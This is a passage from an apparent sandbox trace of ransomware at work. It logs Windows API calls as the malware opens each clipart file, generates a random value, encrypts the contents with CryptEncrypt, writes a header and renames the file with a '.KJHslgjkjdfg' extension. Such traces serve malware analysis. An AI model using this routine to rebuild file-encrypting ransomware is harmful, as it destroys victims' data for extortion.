ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0231.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.828] GetProcessHeap () returned 0x2ef0000 [0231.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.829] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.832] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.832] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.832] GetProcessHeap () returned 0x2ef0000 [0231.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.832] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.832] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.833] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ba2, lpOverlapped=0x0) returned 1 [0231.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bb0, dwBufLen=0x2bb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bb0) returned 1 [0231.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.835] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2bb0, lpOverlapped=0x0) returned 1 [0231.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.835] SetEndOfFile (hFile=0x130) returned 1 [0231.837] GetProcessHeap () returned 0x2ef0000 [0231.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.838] GetProcessHeap () returned 0x2ef0000 [0231.838] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.kjhslgjkjdfg")) returned 1 [0231.839] CloseHandle (hObject=0x130) returned 1 [0231.839] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0231.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.840] GetProcessHeap () returned 0x2ef0000 [0231.840] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.841] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0231.843] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.843] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.843] GetProcessHeap () returned 0x2ef0000 [0231.843] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.843] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.843] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.843] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.843] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.843] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.843] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.844] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.844] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.844] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.844] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x321f, lpOverlapped=0x0) returned 1 [0231.845] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3220, dwBufLen=0x3220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3220) returned 1 [0231.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.845] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3220, lpOverlapped=0x0) returned 1 [0231.845] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.845] SetEndOfFile (hFile=0x130) returned 1 [0231.848] GetProcessHeap () returned 0x2ef0000 [0231.848] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.849] GetProcessHeap () returned 0x2ef0000 [0231.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.kjhslgjkjdfg")) returned 1 [0231.851] CloseHandle (hObject=0x130) returned 1 [0231.851] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0231.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.852] GetProcessHeap () returned 0x2ef0000 [0231.852] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.852] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.852] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0231.855] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.855] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.855] GetProcessHeap () returned 0x2ef0000 [0231.855] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.855] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.855] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.855] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.855] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.855] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.856] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.856] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.856] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.856] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.856] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbdae, lpOverlapped=0x0) returned 1 [0231.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbdb0, dwBufLen=0xbdb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbdb0) returned 1 [0231.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.858] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbdb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbdb0, lpOverlapped=0x0) returned 1 [0231.858] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.858] SetEndOfFile (hFile=0x130) returned 1 [0231.861] GetProcessHeap () returned 0x2ef0000 [0231.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.862] GetProcessHeap () returned 0x2ef0000 [0231.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.kjhslgjkjdfg")) returned 1 [0231.864] CloseHandle (hObject=0x130) returned 1 [0231.864] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0231.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.866] GetProcessHeap () returned 0x2ef0000 [0231.866] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.866] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.866] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.943] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.943] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.943] GetProcessHeap () returned 0x2ef0000 [0231.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0231.943] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0231.943] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0231.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.944] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.944] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.944] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xef6, lpOverlapped=0x0) returned 1 [0231.944] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00, dwBufLen=0xf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00) returned 1 [0231.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.944] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf00, lpOverlapped=0x0) returned 1 [0231.944] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.944] SetEndOfFile (hFile=0x130) returned 1 [0231.947] GetProcessHeap () returned 0x2ef0000 [0231.947] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0231.947] GetProcessHeap () returned 0x2ef0000 [0231.947] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.kjhslgjkjdfg")) returned 1 [0231.949] CloseHandle (hObject=0x130) returned 1 [0231.949] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0231.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.951] GetProcessHeap () returned 0x2ef0000 [0231.952] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.952] CryptGenRandom (in: hProv=0x2f0c268, 